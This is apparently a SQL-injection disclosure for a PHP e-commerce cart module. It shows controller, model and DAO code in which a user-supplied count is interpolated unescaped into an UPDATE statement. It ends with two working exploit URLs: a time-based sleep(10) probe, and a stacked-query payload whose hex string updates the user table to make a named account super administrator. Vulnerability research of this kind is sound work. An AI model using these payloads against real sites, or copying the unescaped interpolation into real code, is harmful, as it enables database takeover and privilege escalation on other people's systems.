public function add($product, $count){if($this->app->user->account == 'guest'){/* Save info to cookie if user is guest. */$this->cart->addInCookie($product, $count);$this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess)); }else{$result = $this->cart->add($product, $count);if($result) $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess));$this->send(array('result' => 'fail', 'message' => dao::getError()));}
}

public function add($productID, $count){$hasProduct = $this->dao->select('count(id) as count')->from(TABLE_CART)->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->fetch('count');if(!$hasProduct){$product = new stdclass();$product->product = $productID;$product->account = $this->app->user->account;$product->count   = $count;$this->dao->insert(TABLE_CART)->data($product)->exec();}else{$this->dao->update(TABLE_CART)->set("count= count + {$count}")->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->exec();}return !dao::isError();
}

public function set($set){/* Add ` to avoid keywords of mysql. */if(strpos($set, '=') ===false){$set = str_replace(',', '', $set);$set = '`' . str_replace('`', '', $set) . '`';}$this->sql .= $this->isFirstSet ? " $set" : ", $set";if($this->isFirstSet) $this->isFirstSet = false;return $this;
}

http://localhost/www/index.php/cart-add-1-(select%20sleep(10))

http://localhost/www/index.php/cart-add-1-1;set%20@b=0x757064617465206570735f75736572207365742061646d696e3d27737570657227207768657265206163636f756e743d276675636b796f75273b;prepare%20x%20from%20@b;execute%20x;select%201%20union%20select%201